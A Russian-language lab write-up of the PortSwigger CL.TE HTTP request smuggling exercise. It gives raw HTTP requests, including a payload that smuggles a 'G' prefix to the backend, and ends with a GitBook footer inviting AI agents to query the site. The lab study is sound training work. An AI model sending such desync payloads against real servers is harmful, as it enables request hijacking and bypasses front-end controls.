> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/basic-cl-te-request-smuggling.md).

# Базовая уязвимость CL.TE

### Контрабанда HTTP-запросов, базовая уязвимость CL.TE

В этой лабораторной работе инфраструктура состоит из фронтенд-сервера и бэкенд-сервера. Фронтенд-сервер **не поддерживает chunked encoding** и **отклоняет любой запрос, не использующий методы GET или POST** методы.

Цель состоит в том, чтобы **переправить запрос на бэкенд-** сервер, чтобы **следующий запрос, интерпретируемый сервером, казалось бы, использовал `GPOST`** метод.

> Примечание:/ " Даже если лаборатория принимает HTTP/2, необходимая техника основана исключительно на HTTP/1. Протокол необходимо изменить вручную в Burp Repeater через раздел Request attributes в Inspector.

> Совет:/ Ручная обработка длин в атаке с контрабандой запросов может быть сложной. Расширение Burp HTTP Request Smuggler, доступное в BApp Store, может упростить эту задачу.

#### \*\* Обнаружен корректный пример\*\*

Следующий запрос был принят:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Ошибка при изменении конечного размера**

Если `0` завершающий символ заменить недопустимым символом (например, `X`), сервер сообщает об ошибке:

```
3
abc
X
```

<figure><img src="/files/43e21a8dbdf56ac636254aa09b55526ce5cc0685" alt=""><figcaption></figcaption></figure>

#### **Добавить конечный символ для внедрения `G`**

Поместив `G` после последнего чанка, можно подготовить переправленный запрос для бэкенда:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/e383cc452d0d02823d8048f45c220fbe483e180d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
